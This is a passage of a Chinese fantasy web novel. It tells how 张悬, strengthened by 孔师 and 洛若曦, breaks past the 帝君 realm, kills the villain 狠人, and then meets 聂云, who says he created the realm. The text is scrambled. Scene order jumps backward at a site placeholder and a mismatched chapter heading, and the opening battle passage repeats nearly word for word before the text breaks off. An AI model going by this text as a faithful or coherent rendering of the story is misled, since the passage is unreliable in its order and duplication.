自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 一刹那间，爆炸开来，化作无数灵气，向神界各处灌涌。 之前，潮汐海吞噬掉的所有力量，此时全部反哺回来，已经枯竭的荒野，重新焕发生机。 “这……” “这样就杀了？” 云螭大帝、不死帝君、玲珑仙子啊等人，全都瞪大了眼睛，不敢相信。 刚才他们和狠人交过手，知道可怕，这么强大的人，竟然随手覆灭，这位张悬……到底达到了何种地步？ 难道帝君之上，真的还有另外的境界？ “他成功了……” 孔师和洛若曦，松开捏紧的拳头。 “这是天道的一部分，那我现在就归还天道……” 看到刚才从自己体内，被分离出来的“天道有缺”，依旧在空中悬浮，张悬轻轻一笑，屈指一弹。 嗡！ 从重生就伴随他的图书馆，轰然镶嵌在神界的天空之上。 大钟般的鸣响，不断崩溃的神界，肉眼可见的缓慢恢复，混乱的气流，也重新聚拢起来。 崩塌的神界，终于停了下来，干枯的灵气，也伴随狠人的死亡，慢慢复苏。 “看来，神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿，伴随天道的补全，已经恢复，神界恢复以前的盛况，只是时间问题。 “张悬，这边来……” 刚做完这些，脑中响起一个声音，张悬愣了一下，一步跨出。 这一步，不知飞了多远，随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈，你……” 看到是他，张悬一愣。 之前就觉得这位，深不可测，现在才发现，比起自己，也只差了一丝而已，已然达到了帝君的最巅峰，比起之前的洛若曦，都强大不知多少。 “直呼我名字即可，我叫……聂铜！”青年身上散发出一往无前的剑意，淡淡道。 “聂铜？”张悬皱了皱眉。 第一次听到这个名字。 “跟我来，带你见我哥哥！”叫做聂铜的青年莞尔一笑，向前跨步而出。 张悬紧跟在身后，不知飞了多远，在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少，双眉上扬，给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力，竟然比他还要强大，同样突破了帝君的桎梏，而且修为更加深远厚重！ “在下，聂云！”青年淡淡一笑，看了过来：“也就是……聂灵犀，你口中洛若曦的父亲！” “若曦的父亲？” 张悬一震：“你……是神界天道？” 之前洛若曦说过，自己的父亲，是天道，怎么都想不到，是这样一个年轻人。 “我一气化三清，一部分灵魂，变成了天道！再说，这个世界，是我创造的，说我是天道也无不可！”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的？ 那他的实力，该有多强？ “不对，如果神界是你创造的，你又是天道，为何任由狠人肆虐，而不出手……”张悬看过来。 如果不是自己突破，神界极有可能彻底崩塌，为何眼前这人，不管不问？ 甚至连女儿的生死，都关心？ 没回答他的问题，聂云淡淡的看过来：“你认为……神界之上，还有更加强大的生命吗？” “这……”张悬停顿了一下：“应该有吧……” 虽然没见过，但既然他能修炼到这种境界，或许其他人也可以，甚至更强。 就好像眼前这位。 “我曾怀疑，神界之上会有更强大的生命，所以用尽全力窥视，最终引来了更高世界的反噬……一个手掌破空而下！” 聂云看过来：“当时如果我躲闪，极有可能整个神界都会被抹平，再没有半个生命……所以，挡下了这招，但也因此，化身的天道被分裂出去。” “这种情况，我想恢复，只是一道意念而已，但……我明白，想要真正超脱神界桎梏，去探索手掌由何而来，神界之外，又有什么……单靠我一人很难做到。所以，想要看看，有没有生命，能够突破帝君桎梏，达到和我平齐的地步！” “所以，就将分散的天道意念，送到最底层的世界……分别赐予原本属于这个世界的灵魂，和一个不属于这个世界的灵魂。而你，最终没让我失望！” 聂云笑道。 “不属于这个世界的灵魂，这样说来，我穿越，也是因为你？”张悬心中一震。 难怪，能够穿越过来，没想到都是眼前这位所为。 “呵呵！”聂云轻轻一笑，道：“本身属于这个世界，就有着对世界的敬畏，想要突破世界桎梏，难度要大得多，我也是心念一动，并没想到，你真的能够成功……” “我……”张悬脸色一红：“如果不是孔师，我根本不可能达到这种地步……” 没有孔师的无私奉献，想要达到现在的境界，根本不可能做到。 “机会我给他了，没把握住而已。和灵犀的比斗，其实就是他突破的最佳机会，可惜，他选择了退避，以为自己留了后手，可以全身而退，实际上却是失去了勇猛精进，面对超越我们的人，如果连这点精神都没有，又如何能够与之抗衡？” 聂云道。 张悬沉默不语。 当时二人的战斗，他都看在眼里，孔师的确在果决上有些欠妥。 也有可能，他不愿意斩杀洛若曦吧。 可惜，就这一念之间，错过了晋级的机会。 “如果孔师获胜，若曦就会死……”片刻后，张悬看过来，眉毛皱起。 难不成，眼前这位连女儿的生死都不管了？ “有我在，她不会死……”聂云淡淡一笑：“你现在的实力，和我也差不了多少了，你觉得二人的实力，生死关头，想要救人，能不能做到？” “这……”张悬苦笑。 突破帝君，和帝君，是两个概念，如果他真的愿意出手，的确可以在最后关头将人救下，而且保证，一点伤都受不了。 “灵犀，是我另外一个妻子洛倾城所生，所以她伪装的名字，姓洛……为了能让她相信，不感情用事，到现在一直以为我还陷入昏迷……” 聂云苦笑一声：“我这个爹也算做得够狠了……这样吧，这件事还是你和她解释吧，毕竟，她现在的心思，已经转移到你身上了，我这个老爹，估计都想不起来了……哈哈，我暂时就不出现了，躲避上一段时间再说，不然，真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹，面皮一抽，张悬只好答应：“好吧……” 不答应也没办法，谁让自己拐走了人家的女儿…… “天道图书馆，是我一道意念所化，是根基，也是桎梏，你能靠自己的能力，突破桎梏，说明了能力和潜力，将来前途无量，我女儿能和你在一起，做父亲的，也算欣慰了。” 正在手打中，请稍等片刻，内容更新后，请重新刷新页面，即可获取最新更新！ 第18章 妒忌 灵魂契约，契合灵魂，只要自己不解除，哪怕对方手段通天，都无法化解。 就好像不死帝君小黄鸡，之前只是神王，他是帝君，同样没办法解决这种约定。 为了防止这家伙变卦，出现反噬的现象，名师大陆就曾专门定下，即便对方可以脱离天道之册，也无法挣脱灵魂间的约定啊！ “灵魂契约，的确无法从识海中分裂出去，但我融合了连天道都可以化解的特殊气体，将这种契约化解掉，并不难……只要有足够力量，轰击契约所在之处，就能做到！” 狠人道。 灵魂契约，是建立在天道基础上的，特殊力量连神界天道都能化解，化解个灵魂契约，只要处理得当，又有何难？ “原来如此……”张悬目光一闪。 “和你说这么多，也算感谢将我带到神界了！” 解释完，狠人不再多说，身上的气息愈发的亘古悠远，身后的黑洞变得更加巨大，显然说话的功夫，又吞噬了不知多少力量，做了滋补。 “张悬，黑洞吞的越多，他的实力越强……” 洛若曦也发现了不对劲，急忙传音过来。 “准备动手吧！”心中疑惑尽消，张悬深吸一口气，手中长剑，陡然扬起：“既然如此，那就手底下见真章吧！” 轰隆！ 最强大的剑意，再次施展而出。 生当复来归，死当长相思！ 生死皆不在乎，又有何事可以阻拦？ 这一招剑法，虽然是没达到帝君领悟的，却蕴含了心中的一切执念，将体内的天若有情功法，发挥到了极限。 呼！ 一剑将狠人的攻击，斩成两半。 同一时刻，洛若曦也出手了，玉手翻滚，剑芒如雪。 她的剑法和剑神天的那位青年有些相似，带着一往无前的气势，和大道自然的潇洒。 “你们的招数是很厉害，但对比我，还是差了些……” 轻轻一笑，狠人再次向下抓来。 一瞬间，遮天蔽日，手掌将天地都笼罩了，空间碎裂，日月星辰都仿佛要被硬生生打下来。 噗！噗！ 张悬和洛若曦同时倒飞而出，人在空中鲜血狂喷。 以二人的实力，竟然抵挡不住！ 这家伙到底达到了何种境界？ “放肆！”分身大步踏来，每走一步，就有莲花绽放，虚空中带着流水的声音。 远远看去，逼格十足。 炼化九天混沌金莲，他的修为比起张悬，丝毫不弱。 一拳扬起，力量冲上九天。 和狠人对碰，同样倒飞而出，挡不住一招。 张悬捂住额头。 成就帝君了，分身依旧不改装逼的本性…… 这么绚丽的装逼，还不如将力量集中起来，威力更大！ “一起出手，不然，他们死了，我们都会死……” 小黄鸡一声大喝，赤红的的火焰燃烧，天空都像被点燃。 剩下六大帝君，也各自施展手段。 七位帝君联合，毁天灭地，一方天地在面前都抵挡不住，但对方是吸收了特殊力量的狠人，攻击来到跟前，黑洞陡然变大，眨眼功夫就将力量吞噬干净，紧着着反击而出。 嘭嘭嘭嘭！ 七位帝君和张悬等人一样，倒飞而出。 十大帝君，联合在一起，竟然都没挡住对方一招！ 这家伙，怎么会这么强大？ “你们可以死了……” 一招击溃众人，狠人向前一步，手腕一翻，再次拍了下来。 “鼠辈敢尔！” 伴随一声大喝，之前剑神天的那位老者，突兀出现，挡在面前，手中长剑化作银河。 “帝君？他也是帝君实力？” 张悬瞳孔一缩。 这位老者当初跟在青年身后，本以为只是个随从，最多封号神王，施展出力量才发现，竟然也是一位帝君强者！ 如果他是帝君，那位青年，是什么？ “他本身就是剑神天的帝君……”挣扎站着身来，洛若曦咬牙道。 “那……传我剑法的青年呢？”张悬再也忍不住。 “他是……”洛若曦刚想回答，空间一阵扭曲，随即看到剑神天的这位帝君，同样倒飞了出去，落在不远处，砸出一个大坑。 张悬现在的实力，和对剑道的领悟，远超过他，都抗衡不住，他即便修为不弱，剑术高明，依旧不是对手。 “哈哈，帝君，一群土鸡瓦狗而已！今天我就灭了九天，灭了这神界，将一切规则踏平！” 将剑神天的帝君击败，狠人疯狂大笑，四周的空间不停坍塌，衬托的他如妖如魔。 “怎么办？”张悬拳头捏紧。 刚才他和分身，都施展出最强战斗力了，甚至眼前的洛若曦，也将最强招数使用了出来，都没挡住对方的一招…… 难道神界，真的没人能够挡住眼前这位？ 任由他将世界毁灭？ “唯一的办法……是将你的天道有缺，回归天道本身，让天道将他镇压……”洛若曦秀拳捏紧，眼眶泛红。 “回归天道本身？”张悬知道她的意思。 脑海中的图书馆，本身是天道的一部分，一旦回归，天道就等于彻底完整了，或许就可以修复漏洞，自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整，病毒来了，轻易驱赶；坏了，抵抗不住病毒入侵，再强壮的人，也会因此死亡。 只是…… “他太强大了，即便天道恢复完整，也无法镇压吧！”张悬摇头。 病毒，免疫系统是可以斩杀，但……猛虎呢？ 再强的免疫系统，又有什么办法？ 眼前这位，只是普通神王，哪怕封号，天道都可以轻易杀死，可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下，洁白的玉面上露出失落之色：“是啊……没办法镇压，但是，天道完整，他就能醒过来，斩杀这位，并不难！” “他？”张悬皱眉。 “我带你去见他，就在自在天……”深吸一口气，洛若曦一咬牙，转身就向前飞去。 “想逃？”狠人冷哼，向下一按。 嘭！ 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来，剑意辉煌而出。 叮叮叮！ 再次被狠人挡住。 “你们快走，我来挡住他……” 知道他们再想拯救神界的方法，而不是逃走，分身和不死帝尊，一声大喝挡在前面，洛七七也摇身一变，回归静空珠本体。 四周的空间凝固起来。 “走！” 见众人奋不顾身挡在后面，无畏惧死亡，张悬眼眶一红，不过，也知道现在不是多说的时候，一拉洛若曦，身体一晃，划破空间，下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在，神界崩塌，四处一片混乱。 “你说的他，在哪里？” 没空去观察普通人的生活，张悬看向怀中的女孩。 如果她说的那人，真能拯救神界，自己牺牲又何妨！ “他是我的父亲，你吊坠中的血液，就是他的，不死帝君，曾是他的兽宠……”洛若曦调息了一下，解释道。 “父亲？” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似，却又不同，原来是她父亲的。 这样也就解释了，为何不死帝君留下的那道意念，看到吊坠后，立刻认自己为主。 “你父亲也是帝君？或者拥有超越帝君的实力？” 忍不住道。 图书馆混乱，是吊坠中的血液，让自己恢复清醒，难不成，不仅她是帝君，父亲也是，甚至更加强大？ 如果是这样的话，又为何会昏迷？ 又需要天道有缺，才能让其清醒？ “他不是帝君，而是……天道！” 洛若曦秀拳捏紧。 “天道？你父亲……是天道？”张悬一震，不敢相信。 “是！五十年前，父亲抵挡不住那只大手，陷入昏迷，天道崩散成三部分，天道有序和天道有缺，进入空间乱流，我代为掌控天道自然，维持神界的平衡。想要让他恢复，只有将散开的部分收集……所以，我才如此决绝，不能失败！才专门进入名师大陆，研究春秋大典，想办法战胜孔师！和孔师战斗的时候，拜托他的事，也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久，眼前的女孩，就和自己讲述过她的故事，要救一位至亲，自己当时还不明白，现在才恍然大悟。 竟然是她父亲，而且还是神界天道！ 天道真的能够化成人形，并且生儿育女吗？ “代为掌控天道自然……你体内，没有天道碎片？”突然，意识到她语言中的不对劲，张悬看过来。 代为掌控，和自己这种融合在体内，是两种概念。 “我只是掌控，并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来，只需要自己将天道有缺剥离出来就行了，并不需要她也死亡。 尽管这种命运，不愿意接受，却也不愿意眼前的女孩，受到伤害。 “我将体内的天道有缺剥离出来，你父亲就能活过来，甚至将狠人击杀是吧？”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界，洛若曦迟疑。 神界是父亲的根基，现在根基都这样了，就算清醒，真的能够将那个强大的狠人击败吗？ 真不好说！ “看来你也不能肯定，既然如此，求人不如求己……我们只有自己想办法！”张悬咬了咬牙：“你、我、分身，联合九天九帝，如果在配合上孔师，未必不能获胜！” “孔师？他……”洛若曦皱眉。 “孔师已经死了是吧！他并未真正死亡，如果猜的没错，他被你斩杀，只是用来脱离天道的方法……不出意外，他应该和魏长风一样，是【先天胎魂体】！” 张悬道。 看到魏长风，就明白过来，孔师所谓的保持灵智，应该和他一样，是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手，复活，只是时间问题。 洛若曦愣住，似乎她没想到，会是这样。 “过去看看就知道了，猜的不错，他应该已经恢复，不然，他的那些学生，不可能连潮汐海都没去……”张悬道。 孔师的那些学生，子渊古圣等人，个个实力强劲，就算没有帝君帮助，也必然有办法进入潮汐海，可却一个都没见。 必然是有更重要的事情等着，想要趁所有帝君去潮汐海无暇顾及的时候去做！ 而这种重要的事，明显就是让孔师恢复。 “这……”洛若曦心中一震，恍然大悟。 “走吧！” 不再解释，单手一划，张悬重新来到孔师居住的所在，果然看到一个老者盘膝悬浮在空中，见他们来到，微微一笑：“来了！” 不是孔师，又是何人！ 这位万世之师，果然没让自己失望！ 和猜测的一样，趁着所有人都将注意力集中在潮汐海的时候，重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活，不死帝君也活过来了，但……没想到速度这么快！ “我隐瞒天道，提前就准备了后手，幽魂池中的那个没有名字的巨人，就是我留下的，当日被你斩杀，我借机摆脱了天道的束缚，重新凝聚肉身，现在也刚刚恢复罢了！” 孔师微微一笑。 他精通时间能力，看起来神界只过了一、两天，实际上为了恢复力量，经历了不知多久。 几十年的时光，都有了。 “我们三人的实力，是很强，但想要胜过狠人，也没那么容易……” 见孔师果真恢复，洛若曦依旧摇头。 不是涨他人威风，灭自己志气，而是事实。 刚才这么多人联合，都没挡住对方，即便增加一个孔师，又能如何？ 同样改变不了局面！ “我们单个的实力，甚至联合在一起，的确不是对方的对手，但……如果将所有人的力量，都融合在一个人的身上呢？” 孔师笑着看过来。 “融合在一个人身上？” 这次不光洛若曦皱眉，张悬也满是疑惑。 “那个手掌能够撕裂神界，将天道都打散，实力之强，不容置疑，狠人将这股力量全部吸收，又吞噬了神界五十年的灵气，单凭实力，我们十几位帝君，单个拿出来，的确不是对手……” 孔师道：“但联合在一起，将力量集中在一人身上……就未必了吧！” “如何集中？” 洛若曦看过来。 说的简单，做起来难。 帝君已经站在神界最巅峰了，如果这么容易吸收别人的力量，她也不至于这么多年，停滞不前。 “很简单……我们将身上的力量，集中在张悬身上，一旦他能冲破帝君桎梏，就能救下神界！” 孔师道。 “我？”张悬一愣：“为什么是我？” “灵犀帝尊修炼的是自由自在，超脱自然！但有了父亲和天道的制约，有了牵挂的人，就永远没办法真正超脱！如果我没看错，当初和我战斗的时候，你也曾放弃过，打算被我斩杀吧！” 孔师道。 洛若曦说不出话来。 战斗的时候，的确有过这种打算，所以二人的交手，刚开始的时候，各自留着后手，宛如切磋，不像生死搏斗。 “无法超脱，自然也就发挥不出最强力量，即便给与再多的真气，同样无法冲击那至高的境界！至于我……” 孔师点头道：“心怀苍生，想要普度天下，却不愿意别人为我牺牲，仁慈太多，也是缺点！如果心狠一些，将异灵族灭族，就不会有现在的局面……” 当初如果能将异灵族人全部灭杀，狠人就不可能复活，也不会有现在的情况。 “所以，我也不适合！而张悬，功法顺心，没有缺陷。讲究活出自我，哪怕身死，只要活得无愧，就心中坦荡。这种人拥有更大的包容，更大的发展空间，只有这样，才能走的更高，更远！” 孔师继续道。 生当复来归，死当长相思！ 连死亡都不在乎，又怎么会被其他事情所羁绊？ “这……”张悬皱眉，正想说些什么，就见孔师目光炯炯的看过来：“不用推辞了，先说时间来不及，去培养其他人，就算来得及，我也觉得未必有人能比你做得更好！灵犀帝尊体内虽没有天道碎片，却常年掌控天道，对天道有着属于自己的理解；我掌控天道有序，如果我们将力量灌输给你，你体内就会拥有完整天道的力量！配合上分身的九天混沌金莲，完全可以做到定九天，掌乾坤，战九霄，灭万物！” “好吧！” 见对方已经做出决定，自己解释再多也无用，张悬点了点头。 轰隆！ 盘膝做好，一眨眼功夫，两股雄浑的力量，就从两侧灌涌而来。 张悬全身一僵，整个人仿佛刹那间化身天道，翱翔在九天之上。 灵魂、肉身、真气，都在瞬间得到了洗礼，越来越强，越来越雄浑。 …… “你们也想拦我？也好，杀了你们，再去将张悬斩杀……” 将洛七七和分身等人拍飞，狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量，的确很强大，不过，和他比，依旧弱了一些。 潮汐海将神界出了城市外的灵气，几乎全部吞噬干净，现在这些力量，都化作他的寄养，举手投足，带着毁灭天地的能力，这些帝君、神王，尽管代表了神界最巅峰，依旧不堪一击。 此时的狠人，仿佛代表了整个神界，无人能挡。 “神界灭亡，我们活着也没意义，我云螭，与你同归于尽……” 云螭大帝变化出本体，一头巨大的五爪金龙，凌空向他扑了过去。 “就你？不配！” 狠人手掌一捏，金龙就挂在掌心，无论如何挣扎，都逃脱不掉。 “老友，等我！” 扶猛帝君也一声大吼，变化出白虎本尊，凌空来到跟前。 不死帝君，不死火凤本尊显示出来，火焰照耀天空。 玄冥大帝，本尊乃一头大龟，宛如托举着诸天。 四大神兽，镇守神界四极，同时变化本体，崩塌的神界，都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭！ 连续四掌，狠人将四兽镇压下来，眼中闪过一道浓烈的杀意：“既然你们找死，我就成全你们……” 咆哮声中，正想下死手将众人全部抹杀，就感到扬起的手臂一紧，在空中停了下来。 “想要杀他们，问过我没有……” 随即，众人震惊的目光中，一个人影从空中缓步走了出来。 正是张悬！ 此时的青年，全身力量澎湃，比刚才强大了十倍不止，自天而来，宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来，目光凝重。 他显然也没明白，为何短短几分钟的光景，对方的实力有了如此巨大的变化。 “不过，增加了又如何？全盛期的神界，都抵挡不住，我不信，你能挡得住我……” 一声冷哼，狠人再次拍落而下。 张悬长剑扬起，迎了上来。 双方战斗在一起，空间一道道撕裂，气流四处乱窜。 “张悬能不能获胜？” 自在天孔师驻地，洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬，自身修为，已经降低到只有神王级别，不如之前那么辉煌了。 不过，级别在哪里摆着，只要力量足够，终有一天，可以重新恢复。 “凭借现在的实力，想要胜过……很难！除非……他能领悟超越帝君的力量！” 沉默了片刻，孔师道。 十几个帝君联合，都无法胜过狠人，即便他们将力量全部传递给对方，想要胜过，也没那么容易。 之所以这样做，是因为……力量只有集中在一人身上，才有可能触碰到顶点，才有可能真正超越极限，突破自我！ “超越帝君的力量？” 洛若曦眼神悠远。 父亲还清醒的时候，曾和她说过同样的话，但……她无法做到，自己心爱的男子，能够做到吗？ “他一定能……他有着一颗不屈的心！和对这个世界的傲然。” 看出她心中的疑问，孔师笑道。 …… 嘭嘭嘭！ 连续几招下来，张悬虎口开裂，胸口出现了一道巨大的伤痕，狰狞可怖。 和孔师说的一样，即便融合了他们二人的力量，体内形成了完整的天道，依旧不是对手。 “哈哈，还以为多厉害，不过如此！”狠人冷冷一笑。 “反正不是你的对手，早晚都会被杀，既然如此，我想死在你最强的攻击之下……”深吸一口气，张悬停了下来，不在进攻，反而看向眼前的狠人。 “好，我成全你，给你最强的攻击……” 听他这样说，狠人愣了一下，随即冷哼一声，手掌扬起。 哗啦！ 一道青光出现在掌心，猛地拍落而下。 果然是最强攻击，整个神界都发出轰鸣，宛如快要承受不住，再次被打出一个巨大的坑洞。 双眼紧闭，张悬并未躲避。 嘭！ 脑袋炸裂开来，灵魂四处溃散。 “张悬……”看到这一幕，所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛，不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏，冲击超越帝境境界的，怎么不去反抗，甘心赴死？ 这样，岂不辜负了他们的一番好心？ “不对，是不死帝君的不死之法……” 正在奇怪，孔师突然开口。 众人随即看到，脑袋炸开，甚至灵魂碎裂的张悬，胸口的吊坠陡然炸开，一滴血液悬浮而起，燃烧起来，形成了一团炙热的火焰，火焰中，一具完好无损的身影，缓步而出。 “他……借助对方的力量，和吊坠中的血液，将天道有缺和灵魂分离了？” 洛若曦瞳孔收缩。 浴火重生后的张悬，体内竟然没了天道图书馆，没了天道的干扰，脱离了天道！ “他怎么做到的？” 孔师也满是不敢相信。 天道和灵魂融合在一起，不分彼此，为了摆脱，他不得不魂飞魄散，借助幽魂池重新凝聚魂魄。 眼前这位，只被斩杀了一下，就彻底摆脱，用了什么办法？ “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人，主人不解除，仆人就永远受制……天道图书馆也是这样，可以说是一种增强版的契约。 绑定了灵魂，不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约，具体方法，张悬之前详细询问过，恐怕那时就动了心思。 这才故意拼死，让其施展出最强力量对他攻击。 借助这种力量，浴火重生，没想到，果然大获成功！ “原来如此，这才是突破帝君的方法……” 从火焰中走出的张悬，脸上露出淡淡的微笑，像是明白了什么，突然一招手，一侧的分身，立刻重新变成一朵莲花，飞了过来。 刹那间，与自身完美融合。 一眨眼功夫，众人感觉，眼前的张悬，像是变成了九天，九天就是他。 脚掌在地上轻轻一踏。 混乱的九天，立刻稳定下来。 九天混沌金莲，九天诞生时出现，能够稳定九天，此时分身和自我完美融合，不分彼此，也就等于他掌控了这种力量。 不仅如此，融合了九天混沌金莲的修为，他本就达到巅峰的境界，出现了松动，似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起，原来就是世间万物，这才是人！” 面带微笑，张悬喃喃自语。 天道图书馆脱离灵魂的刹那，他明白过来。 是人看了世界，才有了世界，还是先有世界，后有了人？ 是风动，还是心动！ 这个问题，亘古不朽的困扰着无数人。 当然，现在……这些都不重要了！ 没有生命，没有情感，世界就算存在，又有何意义？ 所以，突破爱情之后，是众生情！是交织天下的情感。 世间万物皆有情感，有情才有世界，有情感，才能延续生命。 爱，是情。 憎，是情。 高兴，是情。 痛苦，是情。 离别，是情。 相聚，也是情！ “万千情意，为我所用……” 一声低呼，张悬体内禁锢的境界，瞬间破开。 帝君桎梏，突破了！ 一瞬间，仿佛触摸到了一个全新的世界和大门，灵魂得到了快速的滋养。 无数混沌之气，涌了过来，肉身也飞速提升。 之前只有吸收灵力，才能进步，而现在空间乱流、混沌之气，哪怕是对方的青光，都可以为我所有，不分彼此。 “你……”狠人没想到，自己的全力攻击，非但没将其斩杀，反而成全了他，气的“哇哇！”乱叫，一声怒喝，再次攻击下来。 “你怨恨高高在上的帝君，没在空间乱流中救下自己，是情；觉得曾是我的仆人，蕴含卑微和愤怒，是情；想要毁灭神界，发泄愤怒，是情；想要变得更加强大，同样是情……情感控制着你，你又如何胜得过我，不被我控制？” 淡淡一笑，张悬的声音越来越快，越来越响亮，手掌轻轻一抓。 原本纵横无敌的狠人，就被无数情感细线，禁锢在一起，束手束脚，无法动弹。 只要有情，就要被他所用，被他控制！ “你……” 狠人眼中满是惶恐：“张师，我是你的仆人，不要杀我……我愿意灵魂献祭……” “现在再说这些，已经晚了……”微微一笑，张悬摇了摇头。 掌控天下之情，仆人之类对于他来说，已经没任何意义了。 杀了神级这么多人，伤了自己的女朋友，洛七七以及这么多朋友，今天，又怎么可能宽恕！ “不……” 感受到他的果决，狠人瞳孔收缩，话音未结束，立刻感到身上一阵剧烈的疼痛。 嘭！ 